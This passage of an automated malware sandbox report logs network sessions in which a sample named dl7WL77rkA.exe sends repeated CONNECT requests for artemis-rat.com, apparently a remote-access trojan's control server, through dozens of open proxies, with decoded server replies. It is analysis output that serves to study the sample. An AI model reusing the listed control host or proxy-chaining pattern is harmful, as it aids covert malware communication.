6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Roboto&display=swap" rel="stylesheet"> <style type="text/css"> body { height: 100%; font-family: Roboto, Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.5	49816	104.238.111.107	56225	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.545291901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.5	53948	51.222.241.8	62916	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.545353889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.5	53858	60.12.168.114	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.547246933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.934250116 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 03:09:26 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.5	53846	103.83.36.1	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.547652960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.5	53544	162.214.121.173	62976	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.547802925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.108063936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796526909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.5	53537	185.49.31.207	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.580424070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.5	53880	47.243.114.192	8180	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.583194017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.5	52474	34.87.84.105	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.583194017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.772639036 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:45 GMT Server: Apache Content-Length: 532 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 69 74 75 6b 40 6d 79 63 61 73 68 62 61 63 6b 2e 63 6f 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at pituk@mycashback.co to inform them of the time this e
Mar 11, 2024 03:30:45.772650003 CET	172	IN	Data Raw: 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 Data Ascii: rror occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.5	53946	133.18.234.13	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.586757898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.860979080 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.5	54020	38.54.101.254	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.587553978 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:46.767282963 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:47.692897081 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:48.752516985 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:50.893060923 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:55.245434999 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:03.693183899 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:21.100889921 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:55.916846991 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.5	54047	104.16.106.154	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.588047981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.742523909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.5	54053	104.25.230.252	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.591784954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.751276016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.5	53936	45.120.178.197	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.596846104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.5	54008	192.210.228.28	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.597479105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.5	52502	51.161.131.84	25843	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.642155886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.5	53997	85.25.177.53	57699	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.650489092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389478922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405383110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.405278921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092756987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.889508963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.702457905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.5	53907	202.8.74.10	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.650676012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.971265078 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.5	53925	216.137.184.253	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.650746107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.316951036 CET	965	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:46 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 65 72 2e 73 65 6e 61 2e 63 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@server.sena.cl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.5	54096	43.134.237.216	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.657568932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.5	53968	65.109.211.101	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.657901049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.067836046 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.5	53962	194.247.173.17	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.660300970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
